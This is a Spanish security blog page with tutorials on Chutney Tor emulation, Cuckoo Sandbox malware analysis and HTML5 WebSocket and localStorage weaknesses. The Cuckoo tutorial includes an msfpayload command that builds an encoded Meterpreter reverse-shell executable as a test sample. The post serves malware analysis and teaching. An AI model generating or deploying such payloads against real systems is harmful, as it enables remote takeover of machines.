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Crea tu propia red privada de TOR – Emulación de TOR con Chutney

noviembre 20, 2014 3 comentarios

Somos muchos los que nos interesa saber cómo funciona TOR, pero también somos muchos los que sabemos que existen varios riesgos cuando entramos a ese tipo de redes cuando lo único que queremos es hacer pruebas, por ese motivo, una buena forma de comprender el funcionamiento de todos los elementos que conforman TOR, sin acceder directamente a la red, es por medio de herramientas y librerías que permiten simular y/o emular la red.
En primer lugar, es necesario entender la diferencia entre simular y emular, ambos términos a veces suelen utilizarse como si se tratase de sinónimos, pero no son lo mismo. Cuando simulamos un sistema, contamos con modelo muy especifico que aplica a un contexto particular, por ejemplo, podemos simular el rendimiento midiendo los tiempos de respuesta y haciendo estimaciones sobre su comportamiento con una mayor carga o con más o menos recursos, es decir, una simulación es un mecanismo que permite modelar un sistema en unas condiciones determinadas y es muy útil para hacer estimaciones. Por otro lado, cuando se habla de emular, se duplica el sistema y se ejecuta de forma independiente al sistema original, es decir, se produce una replica del sistema y se puede observar y analizar su comportamiento, dando resultados mucho más exactos que los que puede proporcionar una simulación.
Ahora bien, las simulaciones y emulaciones son términos que seguramente resultarán bastante conocidos y utilizados a los administradores de sistemas y redes, ya que existen varias herramientas que emplean ambos mecanismos para medir los limites de un sistema o el número de clientes concurrentes que pueden estar conectados a una red sin deteriorar su rendimiento. En este sentido, es posible utilizar algunas de estas mismas herramientas para probar el funcionamiento de TOR sin necesidad de conectarse directamente a las autoridades de directorio oficiales. El objetivo de este articulo y el siguiente, es enseñar el uso de dos herramientas que son recomendadas por el equipo de TOR para hacer pruebas sobre la red, dichas herramientas son Chutney y Shadow, la primera es una herramienta de emulación y la segunda de simulación. En esta entrada nos centraremos en Chutney y en la próxima se hablará sobre Shadow.

Instalación y uso de Chutney

Chutney es una herramienta que permite emular y configurar una red privada con TOR muy rápidamente, permitiendo crear varios escenarios en los que Chutney es capaz de levantar autoridades de directorio, repetidores, clientes, bridges y cualquier elemento adicional que conforma la red de TOR. Usar Chutney no es complicado, de hecho es una herramienta bastante sencilla e intuitiva, pero para configurar escenarios de prueba, es necesario conocer bastante bien las propiedades de configuración que admite TOR, es decir, aquellas que típicamente se incluyen en el fichero de configuración “torrc”.
El proyecto se encuentra ubicado en la siguiente ruta: https://gitweb.torproject.org/chutney.git y para comenzar a usarlo, basta con clonar el repositorio GIT y lanzar la utilidad “chutney”

>git clone https://git.torproject.org/chutney.git
Clonar en «chutney»…
remote: Counting objects: 364, done.
remote: Compressing objects: 100% (170/170), done.
remote: Total 364 (delta 180), reused 282 (delta 137)
Receiving objects: 100% (364/364), 58.68 KiB | 0 bytes/s, done.
Resolving deltas: 100% (180/180), done.
Checking connectivity… hecho.
>cd chutney
>./chutney
Error: Not enough arguments given.
Usage: chutney {command} {networkfile}
Known commands are: configure hup restart start status stop verify

Para ejecutar “chutney” se debe indicar un comando y un fichero de configuración de red. Los comandos disponibles son “configure”, “hup”, “restart”, “start”, “status”, “stop” y “verify”. Además, se debe indicar la ruta del fichero de configuración de red como segundo argumento del comando.

Para que la herramienta funcione correctamente, el comando “tor” debe ser un comando valido para el usuario que lo ejecuta, es decir, que TOR se debe encontrar instalado en el sistema y el usuario en cuestión debe de tener los privilegios suficientes para poder ejecutarlo, de lo contrario, “chutney” enseñará el siguiente mensaje.

>./chutney configure networks/basic
Starting nodes
Cannot find tor binary ‘tor’. Use CHUTNEY_TOR environment variable to set the path, or put the binary into $PATH.

Basta con establecer la ruta donde se encuentra el ejecutable en la variable de entorno PATH.

>nano /home/adastra/.bashrc
export PATH=”$PATH:/TOR/tor-browser_40/Browser/TorBrowser/Tor/tor”
>source ~/.bashrc

Si TOR se ha instalado desde algún repositorio de Debian, CentOS o Fedora, no debería haber mayores problemas, sin embargo se recomienda instalar la última versión de TOR disponible, preferiblemente desde el código fuente.

Después de tener todos los elementos instalados y listos para ser utilizados, el primer paso en la puesta en marcha de “chutney” es invocar al comando “configure” para crear todos los directorios y las claves necesarias para instanciar las autoridades de directorio en la máquina donde se ejecuta la herramienta. Dicho comando se debe ejecutar sobre un directorio de configuración de red y en este caso, “chutney” cuenta con algunos ficheros de ejemplo que pueden ser útiles para probar la herramienta. Dichos ficheros se encuentran incluidos en el directorio “networks”.
Cuando se ejecuta el comando “configure”, la herramienta se encarga de crear automáticamente el directorio “net”, el cual incluye todos los elementos necesarios para emular la red de TOR.

>./chutney configure networks/basic
Creating identity key /chutney/net/nodes/000a/keys/authority_identity_key for test000a with tor-gencert –create-identity-key –passphrase-fd 0 -i /chutney/net/nodes/000a/keys/authority_identity_key -s /chutney/net/nodes/000a/keys/authority_signing_key -c /chutney/net/nodes/000a/keys/authority_certificate -m 12 -a 127.0.0.1:7000Creating identity key /chutney/net/nodes/001a/keys/authority_identity_key for test001a with tor-gencert –create-identity-key –passphrase-fd 0 -i /chutney/net/nodes/001a/keys/authority_identity_key -s /chutney/net/nodes/001a/keys/authority_signing_key -c /chutney/net/nodes/001a/keys/authority_certificate -m 12 -a 127.0.0.1:7001Creating identity key /chutney/net/nodes/002a/keys/authority_identity_key for test002a with tor-gencert –create-identity-key –passphrase-fd 0 -i /chutney/net/nodes/002a/keys/authority_identity_key -s /chutney/net/nodes/002a/keys/authority_signing_key -c /chutney/net/nodes/002a/keys/authority_certificate -m 12 -a 127.0.0.1:7002The tor binary at ‘tor’ does not support the option in the torrc line:’TestingDirAuthVoteExit *’
The tor binary at ‘tor’ does not support the option in the torrc line:
‘TestingDirAuthVoteExit *’
The tor binary at ‘tor’ does not support the option in the torrc line:
‘TestingDirAuthVoteExit *’

Como se puede apreciar en las últimas líneas, la opción de configuración “TestingDirAuthVoteExit” no se ha encontrado y aunque es posible seguir trabajando con “chutney” sin problemas a pesar de este error, se trata de una propiedad de configuración que se ha incluido a partir de la versión “2.6-alpha” de TOR y a la fecha de redactar este artículo, aun no se encuentra disponible en la versión estable.
Ahora que se encuentra la red privada configurada, se puede controlar con los comandos “start”, “stop” y “status” tal como enseña la siguiente imagen.

chutney

Comandos disponibles en chutney

La configuración básica funciona correctamente y como se puede ver, se han creado una serie de procesos que representan instancias de TOR que se están ejecutando en la máquina local. No obstante, no se trata de instancias de TOR que se levantan con las propiedades por defecto de TOR Browser, se trata de instancias especialmente configuradas para levantar clientes, autoridades de directorio, repetidores de salida, bridges, etc. En este caso concreto, el contenido del fichero “networks/basic” tiene lo siguiente.

Authority = Node(tag=”a”, authority=1, relay=1, torrc=”authority.tmpl”)
Relay = Node(tag=”r”, relay=1, torrc=”relay.tmpl”)
Client = Node(tag=”c”, torrc=”client.tmpl”)
NODES = Authority.getN(3) + Relay.getN(8) + Client.getN(2)
ConfigureNodes(NODES)

Aunque pueda parecer complejo, esta es la estructura de cualquier fichero de configuración de red de la herramienta y en este caso concreto, se están creando 3 instancias de TOR que actuarán como autoridades de directorio, 8 como repetidores y 2 como clientes, lo que nos da un total de 13 nodos ejecutándose en la máquina local.
La estructura del fichero utiliza la API de “chutney” que se encuentra escrita en Python y cuya clase principal es “Node”, en la que se permite crear una instancia de TOR con características muy concretas y además, cada una de dichas instancias contará con su propio fichero de configuración de TOR (torrc).
Si se mira con atención el fichero de configuración anterior, se puede apreciar que se compone de una serie de instancias de la clase “Node” las cuales son “clonadas” utilizando un patrón “singleton” con el método “getN” en el que se indica el número de instancias que se debe crear. Finalmente, la utilidad “ConfigureNodes” se encarga de configurar todas y cada una de las referencias declaradas.

Configuración personalizada de Chutney

Hasta este punto se ha podido apreciar que configurar “chutney” no es demasiado complejo, sin embargo se ha utilizado una configuración que viene por defecto en el fichero “networks/basic”. Para hacer pruebas un poco más robustas y que posteriormente puedan servir para detectar errores en el funcionamiento de TOR, es necesario aprender a crear ficheros de configuración de red personalizados, algo que tampoco es demasiado complejo si se conocen las principales propiedades que se pueden utilizar en TOR.
En primer lugar, es importante anotar que el constructor de la clase “Node” recibe dos argumentos que identifican la configuración que se debe aplicar en la instancia de TOR, el primero es “tag”, el cual indica si se trata de un repetidor, un cliente, una autoridad de directorio o un bridge y el segundo es el parámetro “torrc”, el cual recibe un nombre de fichero con extensión “tmpl”, el cual representa una plantilla con las propiedades soportadas por TOR.
En el ejemplo anterior, el fichero “networks//basic” ha utilizado las plantillas “authority.tmpl”, “relay.tmpl” y “client.tmpl” y dichas plantillas se encuentran definidas en el directorio “<CHUTNEY_DIR>/templates/”. Para que el lector se haga una idea sobre lo que pueden incluir dichos ficheros, el siguiente es el contenido de la plantilla “authority.tmpl”

${include:relay.tmpl}
AuthoritativeDirectory 1
V3AuthoritativeDirectory 1
ContactInfo auth${nodenum}@test.test
ExitPolicy reject *:*
TestingV3AuthInitialVotingInterval 300
TestingV3AuthInitialVoteDelay 2
TestingV3AuthInitialDistDelay 2
TestingV3AuthVotingStartOffset 0
# Work around situations where the Exit and Guard flags aren’t being set
# These flags are set eventually, but it takes ~30 minutes
# We could be more precise here, but it’s easiest just to vote everything
# Clients are sensible enough to filter out Exits without any exit ports,
# and Guards without ORPorts
# If your tor doesn’t recognise TestingDirAuthVoteExit, update your chutney
# to a version that includes the issue-13161-check-torrc-options features
TestingDirAuthVoteExit *
TestingDirAuthVoteGuard *

Efectivamente, se trata de ficheros muy simples que siguen la misma sintaxis y estructura que el fichero de configuración “torrc”. La única diferencia es que los ficheros plantilla de “chutney” deben incluir una declaración al principio del fichero en el caso de que sea necesario incluir otras plantillas y además, es posible acceder a variables globales “chutney” con “${variable}” tal como se ha visto en el fichero.

Para probar cualquier tipo de configuración es necesario conocer muy bien las propiedades de configuración de TOR y jugar con ellas!
Chutney ya se encarga de crear el entorno por nosotros y emular la red de TOR en nuestro ordenador, con tantas instancias como queramos. Además, como se verá en un próximo artículo, también es posible utilizar Chutney en otras máquinas del segmento de red para tener una emulación mucho más aproximada del comportamiento de TOR, desde un entorno controlado y sin necesidad de estar conectado a Internet.

Herramientas como Chutney son muy utilizadas actualmente por hackers e investigadores con el fin de estudiar el comportamiento de TOR en un entorno aislado para que de esta forma, sea más sencillo encontrar fallos en su implementación sin afectar directamente a la red. Es una herramienta que desde luego es muy recomendada para aquellas personas que quieran probar diferentes configuraciones de TOR en su red local.

Saludos y Happy Hack!

Cuckoo Sandbox y detección de maleware

noviembre 18, 2014 1 comentario

El concepto de “Sandbox” es bastante común en informática cuando se habla de temas relacionados con la seguridad y casi siempre se refiere a una zona restringida, en la que los elementos que se ejecutan en el entorno se encuentran aislados de los recursos sensibles del sistema y con acceso restringido a funciones criticas. Por ejemplo, en el caso de la plataforma Java, algunas aplicaciones poco fiables, como los Applets, se ejecutan en una zona de Sandbox, en la que el proceso del programa no puede interactuar directamente con los recursos del sistema, ya que se encuentra aislado y con acceso limitado.
Este mismo concepto es adoptado por varias herramientas para el análisis de maleware, de tal forma que es posible detectar y analizar el comportamiento de un programa malicioso sin poner en riesgo todo el sistema, ya que se ejecuta en un entorno aislado y controlado. Se trata de un enfoque muy potente que ayuda a los investigadores a comprobar el funcionamiento de un programa potencialmente dañino y de esta forma, determinar cuáles son las medidas preventivas que se deben tomar o simplemente, saber cómo funcionan.

En este sentido existen varias herramientas de sandboxing para diferentes plataformas, como por ejemplo Windows o Linux. En esta ocasión, corresponde hablar sobre Cuckoo Sandbox.

Cuckoo es probablemente el framework open source más utilizado por investigadores y analistas a la hora de descubrir el funcionamiento de amenazas de todo tipo en un entorno controlado.

Cuckoo es un sistema centralizado, donde una máquina se encarga de ejecutar los

componentes “core” del sistema y por otro lado, hay máquinas virtuales aisladas que permiten la ejecución de los programas que deben ser analizados. La máquina donde corre Cuckoo se encarga de gestionar el estado de cada una de las máquinas virtuales definidas en el fichero de configuración de la herramienta y se encarga, entre otras cosas, de iniciar, detener y enviar muestras de Maleware a las máquinas virtuales especificadas.

Instalación y configuración de Cuckoo Sandbox.

Después de comprender el funcionamiento básico de Cuckoo, procedemos a su instalación y para ello, es necesario descargar la última versión disponible desde el siguiente enlace http://www.cuckoosandbox.org/download.html

Existe la posibilidad de descargar la última versión de la herramienta o descargar una “tag” especifica del repositorio GIT. Para instalar todas las dependencias necesarias y poder comenzar a utilizar Cuckoo, se recomienda utilizar PIP.

git://github.com/cuckoobox/cuckoo.git

cd cuckoo/

pip install -r requirements.txt

El siguiente paso consiste en configurar el motor de análisis y para ello, es necesario establecer un valor valido a algunas de las propiedades que se definen en el fichero “<CUCKOO_DIR>/conf/cuckoo.conf”.

Una de las ventajas que tienen los ficheros de configuración de cuckoo es que vienen muy bien explicados y leyendo la descripción de cada propiedad, es sencillo saber cuáles son los valores que se deben utilizar o si con el valor por defecto es suficiente. En concreto, las principales propiedades que es conveniente revisar son las siguientes:

machinery: Define el software de virtualización que se utilizará para arrancar las máquinas virtuales que actuarán como “guest”. El valor por defecto es “virtualbox” y es método recomendado para hacer las pruebas.

ip: Se trata de la dirección en la que arrancará el servidor. Dicha dirección debe ser accesible desde las máquinas “guest”.

port: Puerto utilizado por el servidor para recibir los resultados de las pruebas ejecutadas en las máquinas “guest”.

connection: Permite especificar una conexión a base de datos. Si no se especifica ningún valor, por defecto utilizará una base de datos SQLite ubicada en “db/cuckoo.db”.

Además, en dicho fichero es necesario definir un bloque de configuración para cada una de las máquinas virtuales que actuarán como “guest” y en dicho bloque, se deben definir detalles específicos de la máquina virtual, como por ejemplo el usuario y contraseña para iniciar sesión. El contenido de este fichero puede ser como se indica a continuación
<CUCKOO_DIR>/conf/cuckoo.conf.

[cuckoo]

version_check = on

delete_original = off

delete_bin_copy = off

machinery = virtualbox

memory_dump = off

terminate_processes = off

reschedule = off

process_results = on

max_analysis_count = 0

max_machines_count = 0

freespace = 64

tmppath = /tmp

[resultserver]

ip = 192.168.1.98

port = 2042

store_csvs = off

upload_max_size = 10485760

[processing]

analysis_size_limit = 104857600

resolve_dns = on

[database]

connection =

timeout =

[timeouts]

default = 120

critical = 600

vm_state = 300

[BELARMINO]

name = BELARMINO

username = jdaanial

password = jdaanial

El fichero “cuckoo.conf” permite definir las propiedades generales del motor de análisis, pero existen otros ficheros de configuración que también es necesario configurar, como por ejemplo los ficheros “conf/vitualbox.conf”, “conf/vmware.conf”, “conf/kvm.conf” que permiten configurar detalles concretos de la plataforma de virtualización empleada.
En este caso, nos centraremos en VirtualBox, con lo cual es necesario ajustar las siguientes propiedades definidas en el fichero “<CUCKOO_DIR>/conf/vitualbox.conf”.
– path: Indica la ubicación de la utilidad VBoxManage. Su valor por defecto es “/usr/bin/VboxManage”.
– machines: Listado con los nombres de las máquinas virtuales que serán utilizadas por

Cuckoo. Cada uno de los nombres debe ir separado por coma.
– [nombre_maquina_virtual]: El fichero permite declarar secciones de configuración para cada una de las máquinas virtuales definidas en la propiedad “machines”. Cada uno de estos bloques permite varias propiedades, sin embargo aquellas que son obligatorias se listan a continuación:

    • label: Nombre de la máquina virtual definido en la configuración de VirtualBox.
    • platform: Sistema operativo de la máquina virtual. Los valores soportados a la fecha son “windows”, “darwin” y “linux”.
    • ip: Dirección IP de la máquina virtual.El siguiente es un contenido valido para el fichero de configuración anteriormente explicado.
[virtualbox]

mode = gui

path = /usr/bin/VBoxManage

machines = BELARMINO

[BELARMINO]

label = BELARMINO

platform = windows

ip = 192.168.1.209

Existen otros ficheros de configuración que permiten controlar los módulos de Cuckoo y herramientas externas como Volatility Framework. Sin embargo, con los ficheros anteriores es suficiente para comenzar a utilizar Cuckoo con una única máquina “guest”.

./cuckoo.py -d

Tras ejecutar el comando anterior, Cuckoo se encargará de gestionar automáticamente la máquina virtual definida en los ficheros de configuración explicados anteriormente y tal como se enseña en la siguiente imagen, quedará en estado de espera hasta que se envíen muestras de maleware al motor de análisis.

cuckoo1

Ejecución Cuckoo Sandbox

Nota: Es posible que cuckoo encuentre problemas con los estados de la máquina virtual, por ese motivo se recomienda crear un snapshot antes de arrancar el motor de análisis con los siguientes comandos

>vboxmanage controlvm “BELARMINO” poweroff

>vboxmanage snapshot “BELARMINO” take “BELARMINO”

>vboxmanage snapshot “BELARMINO” restorecurrent

>vboxheadless –startvm “BELARMINO”

Configuración de las máquinas virtuales y envío de muestras de maleware a los agentes.

Después de iniciar el servidor de Cuckoo, el siguiente paso consiste en establecer los agentes en una o varias máquinas virtuales definidas en el fichero “conf/virtualbox.conf”. En cada una de dichas máquinas virtuales, se debe instalar Python para poder ejecutar el agente que se encargará de procesar cada uno de los ficheros maliciosos enviados desde el servidor y los resultados serán enviados al servidor de Cuckoo después de que el agente termine de procesarlos.

Cada una de las máquinas virtuales que actuarán como agentes deben cumplir con los siguientes requerimientos mínimos para poder ser utilizadas desde Cuckoo:

– Instalación de Python (Verisón 2.7 recomendada).

– Instalación del módulo PIL para Python. Se trata de una dependencia opcional, pero es recomendable ya que permite crear capturas de pantalla. Se puede obtener desde el siguiente enlace: http://www.pythonware.com/products/pil/

– Desactivar el Firewall de Windows y las actualizaciones automáticas.

– Instalar cualquier otra aplicación necesaria para realizar las pruebas. Lectores de ficheros PDF, procesadores de texto, servidores vulnerables, etc. El agente de Cuckoo se encuentra ubicado en el directorio “<CUCKOO_INSTALL>/agent/agent.py” el cual debe ser transferido a la máquina virtual y preferiblemente ubicarlo en el directorio “C:\Python27” con el nombre agent.pyw. Se recomienda editar el registro de Windows para que el agente se ejecute de forma automática cada vez que el sistema arranque. Para ello es necesario editar la clave “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”.

Después de ejecutar el agente, se abrirá puerto 8000 para recibir todas las peticiones desde el servidor de Cuckoo.

Con todos los requisitos cumplidos, el siguiente paso lógico consiste en enviar muestras de maleware a los agentes y analizar su comportamiento. Para crear una muestra maliciosa, se utilizará Metasploit Framework.

>msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.98 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -o sample.exe

El fichero malicioso resultante puede ser enviado al motor de Cuckoo, el cual se encargará de transferirlo a cada uno de los agentes asociados. Para ello el script “submit.py” que se encuentra ubicado en el directorio “<CUCKOO_INSTALL>/util” permite enviar un fichero al motor de análisis de Cuckoo.

>python submit.py /home/adastra/Escritorio/sample.exe

Success: File “/home/adastra/Escritorio/sample.exe” added as task with ID 1

Después de ejecutar el comando anterior, se puede apreciar que la muestra ha sido enviada correctamente y se ha creado la tarea con identificador “1”.
Ahora, es posible acceder a los resultados por medio de una interfaz web bastante simple e intuitiva que se iniciará al ejecutar el script “web.py” ubicado en el directorio

“CUCKOO_INSTALL/util”

>python web.py

Bottle v0.12.7 server starting up (using WSGIRefServer())…

Listening on http://0.0.0.0:8080/

Hit Ctrl-C to quit.

Desde la interfaz web, se podrán subir muestras desde un formulario y también se podrá visualizar el estado de aquellas muestras que han sido enviadas con anterioridad.

cuckoo2

Listado de muestras enviadas al motor de análisis de Cuckoo

En este articulo solamente se ha explicado la configuración básica del motor de análisis con un único “guest”, pero es una herramienta bastante flexible que merece la pena probar y “pegarse” un poco con ella. Os invito a que lo intentéis.

Saludos y Happy Hack!

Vulnerabilidades comunes en HTML5 – Conociendo el funcionamiento de los WebSockets – Parte 3

noviembre 11, 2014 Deja un comentario

Históricamente las aplicaciones web se han basado en un modelo cliente-servidor, donde el cliente siempre es el primero en iniciar la comunicación con el servidor. Con la llegada de AJAX, las peticiones podían hacerse de forma asíncrona y el cliente no necesariamente tenia que esperar la respuesta del servidor para poder continuar trabajando con la aplicación web, sin embargo la comunicación tenia que ser iniciada por el cliente y si por algún motivo, el servidor tenia nueva información que debía transferirse al cliente, era el cliente el que tenia que realizar las peticiones contra el servidor para recuperar la nueva información. Evidentemente, el hecho de que el servidor pueda comunicarse con el cliente para informar sobre cualquier “novedad”, es una característica que siempre ha resultado muy útil y pensando en ello, se han diseñado varias alternativas que funcionan sobre el protocolo HTTP, como por ejemplo Comet, Push o con el uso de conexiones HTTP persistentes. Con estas alternativas, el servidor puede enviar datos al cliente sin que el cliente tenga que iniciar una interacción, son técnicas que se utilizan actualmente en muchos servicios en Internet y en su día, GMail también lo hacia, sin embargo, mantener una conexión HTTP durante un largo periodo de tiempo es costoso y no es una muy buena idea en aplicaciones que deben tener una baja latencia. Es aquí donde HTML5 viene “al rescate” con los websockets.

Los websockets son una alternativa muy óptima al problema descrito en líneas anteriores, ya que permite crear conexiones TCP utilizando sockets entre el cliente (navegador) y el servidor. Como con cualquier socket TCP, ambas partes pueden transferir datos en cualquier momento y de esta forma el servidor podrá enviar información al cliente cuando sea necesario.

Uso de websockets en HTML5

Para abrir una conexión entre cliente y servidor utilizando websockets, ahora se utilizan los esquemas “ws://” en lugar de “http://” y “wss://” en lugar de https://. Además, el modelo de programación que debe utilizarse es basado en eventos, dichos eventos alertarán al cliente cuando se realice una conexión con el servidor, cuando ocurra un error, o cuando se reciba un mensaje por parte del servidor. Para crear un websocket, se debe ingresar la dirección del servidor web con el esquema “ws://” o “wss://” y especificar alguno de los subprotocolos soportados en la especificación de websockets (ver: http://www.iana.org/assignments/websocket/websocket.xml).

Después de abrir una conexión con el servidor, el cliente puede enviar mensajes con la función “send” que se encuentra definida en la referencia a la conexión creada anteriormente. Los datos que se pueden enviar pueden ser cadenas de texto o datos binarios representados con los objetos Blob o ArrayBuffer. Un ejemplo del uso de websockets desde el lado del cliente podría ser el siguiente.

var connection = new WebSocket('ws://html5rocks.websocket.org/echo', ['soap', 'xmpp']);
connection.onopen = function () {
  connection.send('Hello Server!'); // Send the message 'Ping' to the server
};

connection.onerror = function (error) {
  console.log('WebSocket Error ' + error);
};

connection.onmessage = function (e) {
  console.log('From Server: ' + e.data);
};

connection.send('Hello cutty server!');

var img = canvas_context.getImageData(0, 0, 200, 200);
var binary = new Uint8Array(img.data.length);
for (var i = 0; i < img.data.length; i++) {
  binary[i] = img.data[i];
}
connection.send(binary.buffer);

var file = document.querySelector('input[type="file"]').files[0];
connection.send(file);

En el ejemplo anterior se ha creado una conexión con el servidor utilizando la clase WebSocket, la cual se encuentra disponible en la mayoría de navegadores modernos. La instancia creada de dicho objeto es utilizada para declarar una serie de funciones de callback que serán invocadas cuando se produzcan diferentes tipos de eventos posibles.

Por otro lado, aunque se trata de una tecnología muy interesante y que se comienza a utilizar con mayor frecuencia en aplicaciones web, no obstante la principal dificultad a la hora de utilizar websockets, es la imposibilidad de establecer conexiones utilizando servidores proxy por medio y dado que en la mayoría de entornos empresariales, el uso de servidores proxy es bastante común, nos encontramos con una limitación que hay que tener en cuenta cuando se habla de utilizar WebSockets en aplicaciones web. La razón de esto, es que los WebSockets utilizan el valor “upgrade” para la cabecera “Connection” o directamente la cabecera “Upgrade” con el el valor “WebSocket” y dicho valor indica que la conexión que inicialmente se ha establecido utilizando HTTP, debe “actualizarse” para utilizar sockets del tipo TCP. Este tipo de cambios en las conexiones no son soportados por los servidores proxy del tipo HTTP, ya que están diseñados para trabajar con paquetes de datos que utilizan el protocolo HTTP, en este caso, la conexión es automáticamente cortada por el servidor. Para “mitigar” este problema existen varias soluciones, como por ejemplo el uso del proyecto Apache Camel (http://camel.apache.org) o mi favorita, el uso de “mod_proxy_wstunnel” (ver: http://httpd.apache.org/docs/2.4/mod/mod_proxy_wstunnel.html) sobre esta extensión de Apache os hablaré en una próxima entrada.

Hasta este punto se ha hablado del lado del cliente, sin embargo en el lado del servidor se requiere un cambio de enfoque muy importante, ya que ahora hablamos de que el servidor debe soportar múltiples conexiones abiertas al mismo tiempo, con el consecuente consumo de recursos que aquello implica, por éste y otros motivos, la mayoría de servidores web modernos soportan modelos “Non-bloquing IO” o lo que es lo mismo, varios grupos de hilos que se ejecutan de forma concurrente y asíncrona para el procesamiento de respuestas. Se trata de un modelo de arquitectura de software ampliamente aceptado y utilizado hoy en día, tanto en servidores como en sistemas operativos. Alguno de los servidores web que soportan estas características (sin ser una lista exhaustiva y basándome únicamente en los que he probado) se mencionan a continuación.

Apache Web Server 2.2 / 2.4 (http://httpd.apache.org/)

Jetty (http://www.eclipse.org/jetty/)

Apache Tomcat (http://tomcat.apache.org/)

JBoss (http://www.jboss.org/)

Socket.IO (http://socket.io/)

Pywebsocket para Apache web Server. (http://code.google.com/p/pywebsocket/)

Tornado (https://github.com/tornadoweb/tornado)

Vulnerabilidades comunes en el uso de websockets

Ahora que está claro qué son y para qué sirven los websockets, es el momento de hablar sobre las vulnerabilidades que se pueden producir cuando se implementan de forma indebida o con pocos controles sobre los datos intercambiados entre cliente y servidor. Estamos hablando de una tecnología joven, que si bien tiene un potencial enorme a la hora de crear aplicaciones web robustas, esto no es gratis y tiene sus riesgos. Algunos de dichos riesgos se explican a continuación.

Transporte no securizado y vulnerable a ataques MITM.

Como se ha mencionado anteriormente, los websockets funcionan utilizando el protocolo TCP, lo que habilita muchas posibilidades a la hora de realizar conexiones contra multitud de servicios, sin embargo si el canal de comunicación no se encuentra debidamente securizado, un ataque del tipo MITM puede comprometer todos los mensajes enviados entre cliente y servidor. Siempre es una buena practica utilizar el contexto “wss://” para establecer conexiones cifradas con TLS.

Los websockets no soportan autenticación ni autorización.

El protocolo de websockets no soporta los mecanismos tradicionales de autenticación y autorización. Es un asunto relacionado con la implementación propiamente dicha del protocolo y en el caso de que el cliente y el servidor intercambien información sensible, además de securizar el canal de comunicación utilizando TLS, también es recomendable utilizar mecanismos de autenticación basados en tokens/tickets. Dichos mecanismos son bastante populares en implementaciones REST, donde algunos servicios solamente pueden ser consumidos si el cliente cuenta con un token de autenticación valido y dicho token se vincula con el servidor por medio de una cuenta de usuario. Dicho patrón de autenticación se ha vuelto cada vez más popular y en aplicaciones que utilizan websockets que requieren mecanismos de control sobre los usuarios autenticados, es una excelente forma de mantener un control de acceso a recursos sensibles.

Validación en los datos de entrada

Aunque los websockets utilicen TCP para realizar las conexiones entre clientes y servidores, aun nos encontramos en el contexto de una aplicación web y es importante validar los datos de entrada de los usuarios. En el caso de no validar los campos de entrada adecuadamente, se pueden producir vulnerabilidades del tipo XSS aunque para la comunicación se ha un protocolo distinto a HTTP.

Vulnerabilidades Cross Site Request Foregy

Tal como se comentaba en un articulo anterior, las políticas de “same origin policy” que aplican cuando se trata de compartir recursos entre distintos dominios, ahora ya no son tan estrictas cuando se utiliza la cabecera HTTP “Origin”. Tal como se mencionaba en dicho articulo, se trata de una característica que está muy bien cuando se trata de compartir recursos con dominios “fiables” y cuando hablamos de relaciones de confianza en el mundo de la seguridad de la información, siempre pueden haber situaciones que le permiten a un atacante abusar de dichas condiciones.

Los websockets no están limitados a las restricciones de SOP, esto significa que un atacante puede iniciar una petición websocket desde su sitio web malicioso contra un endpoint (ws:// o wss://) de una aplicación web aunque no se encuentre en el mismo dominio. Esto tiene unas implicaciones tremendas, ya que el handshake que ejecutará el cliente para iniciar una petición WebSocket es una petición HTTP regular y los navegadores enviarán las cookies y cabeceras HTTP de autenticación aunque se trate de un dominio cruzado, si y sólo si, el servidor web no valida adecuadamente la cabecera “Origin”.
Para que el lector se haga una idea del problema, supongamos que la víctima ha iniciado sesión en un sitio web que tiene uno o varios endpoints “ws” o “wss” y en una pestaña nueva del navegador, ingresa en una página web maliciosa controlada por el atacante. Dicha página podría realizar una petición WebSocket contra el sitio web en el que el usuario se encuentra identificado y si dicho sitio web, no valida adecuadamente el valor de la cabecera “Origin”, la respuesta a la petición del atacante podrá contener, entre otras, las cookies y cabeceras de autenticación utilizadas por el usuario, sin importar que se trate de un dominio cruzado. Esta situación puede dar lugar a una vulnerabilidad del tipo CSRF.

En un próximo articulo, hablaré un poco más sobre cómo explotar algunas de las vulnerabilidades que se han listado aquí.

Saludos y Happy Hack!

Vulnerabilidades comunes en HTML5 – Localstorage y vulnerabilidades en WebSQL – Parte 2

octubre 29, 2014 Deja un comentario

Continuamos enumerando y explicando algunas vulnerabilidades comunes en la última especificación de HTML, en la que se han incluido características funcionales que permiten crear aplicaciones WEB 2.0 y RIA. Se trata de un intento por mejorar la experiencia de usuario y crear aplicaciones robustas y rápidas, sin embargo muchas de ellas pueden representar una potencial brecha de seguridad si no se toman las medidas adecuadas a la hora de utilizarlas en aplicaciones web que manejan datos sensibles. En la primera parte de estos artículos, nos centramos principalmente en CORS, que como se ha visto anteriormente, es muy peligroso si no se configura adecuadamente a la hora de compartir recursos con dominios externos. En este artículo ahora nos centraremos en los nuevos mecanismos implementados para el almacenamiento de información en el cliente, que en HTML5 se extiende mucho más allá al uso de las cookies.

Fugas de información en el almacenamiento local

Una de las características más sobresalientes en HTML5 para el desarrollo de aplicaciones RIA, es la capacidad que tienen ahora los clientes de almacenar datos que posteriormente pueden ser utilizados por las aplicaciones. El mecanismo de almacenamiento de HTML5, también conocido como “Client-Site storage” es similar a las cookies tradicionales, sin embargo es más completo y robusto ya que no solamente extiende el tamaño de los datos que se pueden guardar, que en el caso de las cookies es solamente de 4kb, mientras que en el caso del almacenamiento local en HTML5 puede llegar hasta los 10MB de información. Por otro lado, a diferencia de las cookies, los datos almacenados no caducan y además, no se envían en cada petición entre cliente y servidor como si que ocurre con las cookies. El mecanismo de almacenamiento local de HTML5, es una mejora considerable a la hora de guardar datos en el cliente sin depender de las cookies tradicionales y cuenta con una API que permite acceder y manipular sus elementos por medio de Javascript.

En la especificación de HTML5 existen tres modelos de almacenamiento en el lado del cliente que son: Local, Session y Global. En el almacenamiento local, el elemento “localStorage” permite guardar datos de forma persistente en el cliente ya que dichos datos no se eliminan automáticamente y es necesario limpiar dicho espacio de almacenamiento de forma explicita. El almacenamiento del tipo Session funciona básicamente igual que el almacenamiento del tipo Local, con la diferencia de que el objeto “sessionStorage” se limpia automáticamente cuando el usuario cierra el navegador web o la pestaña del sitio web.

